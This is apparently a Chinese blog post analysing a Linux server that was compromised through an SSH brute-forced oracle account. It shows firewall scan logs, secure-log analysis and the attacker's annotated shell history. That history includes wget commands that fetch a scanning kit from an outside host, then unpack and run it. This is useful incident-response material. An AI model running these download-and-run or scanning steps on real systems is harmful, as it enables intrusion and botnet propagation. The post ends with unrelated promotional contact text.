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正文

  • RAM - 4GB
  • CPU - Intel Core i3-2130
  • IP地址 - 172.16.35.201(对外映射为59.46.161.39)

主机B为客户托管主机,具体配置不详。

本文只对主机A进行分析处理。

通过防火墙命令行界面,抓包发现A机器疯狂对一组IP地址进行22端口扫描。下面是抓包结果片段:

proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:39895=====>183.58.99.130:22, packet=3, bytes=208[REPLY] 183.58.99.130:22=====>59.46.161.39:39895, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:33967=====>183.58.99.131:22, packet=3, bytes=208[REPLY] 183.58.99.131:22=====>59.46.161.39:33967, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:34117=====>183.58.99.132:22, packet=3, bytes=208[REPLY] 183.58.99.132:22=====>59.46.161.39:34117, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:54932=====>183.58.99.125:22, packet=3, bytes=208[REPLY] 183.58.99.125:22=====>59.46.161.39:54932, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:60333=====>183.58.99.135:22, packet=3, bytes=208[REPLY] 183.58.99.135:22=====>59.46.161.39:60333, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:52737=====>183.58.99.136:22, packet=3, bytes=208[REPLY] 183.58.99.136:22=====>59.46.161.39:52737, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:52291=====>183.58.99.137:22, packet=3, bytes=208[REPLY] 183.58.99.137:22=====>59.46.161.39:52291, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:46183=====>183.58.99.138:22, packet=3, bytes=208[REPLY] 183.58.99.138:22=====>59.46.161.39:46183, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:36864=====>183.58.99.139:22, packet=3, bytes=208[REPLY] 183.58.99.139:22=====>59.46.161.39:36864, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:34515=====>183.58.99.133:22, packet=3, bytes=208[REPLY] 183.58.99.133:22=====>59.46.161.39:34515, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:57121=====>183.58.99.134:22, packet=3, bytes=208[REPLY] 183.58.99.134:22=====>59.46.161.39:57121, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:37830=====>183.58.99.140:22, packet=3, bytes=208[REPLY] 183.58.99.140:22=====>59.46.161.39:37830, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:42742=====>183.58.99.141:22, packet=3, bytes=208[REPLY] 183.58.99.141:22=====>59.46.161.39:42742, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:55018=====>183.58.99.142:22, packet=3, bytes=208[REPLY] 183.58.99.142:22=====>59.46.161.39:55018, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:46447=====>183.58.99.143:22, packet=3, bytes=208[REPLY] 183.58.99.143:22=====>59.46.161.39:46447, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:51039=====>183.58.99.147:22, packet=3, bytes=208[REPLY] 183.58.99.147:22=====>59.46.161.39:51039, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:33123=====>183.58.99.146:22, packet=3, bytes=208[REPLY] 183.58.99.146:22=====>59.46.161.39:33123, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:35956=====>183.58.99.151:22, packet=3, bytes=208[REPLY] 183.58.99.151:22=====>59.46.161.39:35956, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:45002=====>183.58.99.145:22, packet=3, bytes=208[REPLY] 183.58.99.145:22=====>59.46.161.39:45002, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:54711=====>183.58.99.150:22, packet=3, bytes=208[REPLY] 183.58.99.150:22=====>59.46.161.39:54711, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:58976=====>183.58.99.155:22, packet=3, bytes=208[REPLY] 183.58.99.155:22=====>59.46.161.39:58976, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:37967=====>183.58.99.157:22, packet=3, bytes=208[REPLY] 183.58.99.157:22=====>59.46.161.39:37967, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:47125=====>183.58.99.158:22, packet=3, bytes=208[REPLY] 183.58.99.158:22=====>59.46.161.39:47125, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:35028=====>183.58.99.156:22, packet=3, bytes=208[REPLY] 183.58.99.156:22=====>59.46.161.39:35028, packet=0, bytes=0

可以清晰的看到,肉鸡扫描程序疯狂扫描一个网段内的22端口。

2 查找黑客行踪的方法

对于Linux主机,出现问题后分析和处理的依据主要是日志。/var/log/messages、/var/log/secure都是必不可少的分析目标,然后就是.bash_history命令记录。黑客登录主机必然会在日志中留下记录,高级黑客也许可以删除痕迹,但目前大部分黑客都是利用现成工具的黑心者,并无太多技术背景。该主机对外开放三个TCP侦听端口:

  • 22 sshd
  • 80 Tomcat
  • 1521 Oracle

这三个服务都有可能存在漏洞而被攻击,最容易被扫描攻击的还是sshd用户名密码被破解。所以最先分析 /var/log/secure日志,看登录历史。

3 沦陷过程分析

3.1 oracle用户密码被破解

分析/var/log/secure日志。不看不知道一看吓一跳,该日志已经占用了四个文件,每个文件都记录了大量尝试登录的情况,执行命令:

cat secure-20150317 | grep ‘Failed password’ | cut -d " " -f 9,10,11 | sort | uniq

得到
invalid user admin
invalid user dacx
invalid user details3
invalid user drishti
invalid user ferreluque
invalid user git
invalid user hall
invalid user jparksu
invalid user last
invalid user patrol
invalid user paul
invalid user pgadmin
invalid user postgres
invalid user public
invalid user sauser
invalid user siginspect
invalid user sql
invalid user support
invalid user sys
invalid user sysadmin
invalid user system
invalid user taz
invalid user test
invalid user tiptop
invalid user txl5460
invalid user ubnt
invalid user www
mysql from 10.10.10.1
oracle from 10.10.10.1
root from 10.10.10.1
可以看出攻击程序不断采用不同的账户和密码进行尝试。然后在接近尾部的地方发现如下2行,说明被攻破了。

Mar 9 20:35:30 localhost sshd[30379]: Accepted password for oracle from 10.10.10.1 port 56906 ssh2
Mar 9 20:35:30 localhost sshd[30379]: pam_unix(sshd:session): session opened for user oracle by (uid=0)

可见账户oracle的密码被猜中,并成功登入系统。

3.2 黑客动作推演

下面看看黑客用oracle账户都做了什么。首先复制一份oracle的命令历史,防止后续操作丢失该记录。

cp /home/oracle/.bash_history hacker_history

然后查看分析这个文件。 我在后面备注了黑客的想法。

1 vi .bash_profile
2 vi .bash_profile (查看.bash_profile,看变量设置,把/home/oracle/bin增加到PATH)
3 ll
4 cd /
5 vi .bash_profile
6 vi .bash_profile (执行,设置环境变量)
7 w
8 ps x (查看系统运行进程)
9 free -m (查看内存大小)
10 uname -a (查看系统版本)
11 cat /etc/issue (查看系统发行版)
12 cat /etc/hosts (查看是否有网内机器)
13 cat /proc/cpuinfo (查看CPU型号)
14 cat .bash_history (查看oracle账户历史操作)
15 w (查看系统负载)
16 ls -a (查看/home/oracle/下的隐藏文件)
17 passwd (修改掉oracle账户的密码)
18 exit
19 ls
20 oracle
21 sqlplus (运行sqlplus)
22 su (试图切换到root账户)
23 app1123456 (猜测root密码)
24 ls
25 su -
26 w
27 free -m
28 php -v (查看php版本)
29 exit
30 w
31 free -m
32 php -v
33 ps aux
34 ls -a
35 exit
36 w
37 free -m
38 php -v
39 cat bash_his (查看历史命令)
40 cat bash_history
41 cat .bash_history
42 wget scriptcoders.ucoz.com/piata.tgz (下载肉鸡攻击软件包)
43 tar zxvf piata.tgz (解压软件包)
44 rm -rf piata.tgz (删除软件包)
45 cd piata/ (切换到攻击软件目录)
46 ls -a
47 chmod +x *
48 ./a 210.212 (运行攻击软件)
49 screen (试图运行screen命令,发现没有后下载它)
50 ls -a
51 wget scriptcoders.ucoz.com/screen.tgz
52 tar zxvf screen.tgz (解压)
53 ./screen
54 exit
55 w
56 ps x
57 cd piata/ (切换到攻击软件目录)
58 ls -a
59 cat vuln.txt (查看攻击结果)
60 ls -a
61 mv vuln.txt 1.txt (保存攻击结果)
62 ./screen -r
63 nano 1.txt (查看结果文件)
64 w
65 ps x
66 exit
67 cd piata
68 ps x
69 ls -a
70 nano 2.txt
71 exit
72 w
73 ps x
74 cd piata/
75 ls -a
76 cat
77 mv vuln.txt 2.txt (保存结果)
78 nano 2.txt
79 w
80 ps x
81 cd piata/
82 ls- a
83 cat vuln.txt
84 rm -rf vuln.txt
85 ./screen -r
86 exit
87 w
88 ps x
89 cd piata/
90 ls -a
91 cat vuln.txt
92 ls -a
93 mv vuln.txt 3.txt (保存结果)
94 nano 3.txt
95 exit
96 w

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网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip1024b (备注软件测试)
[外链图片转存中…(img-dKsnioC4-1713144002533)]

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

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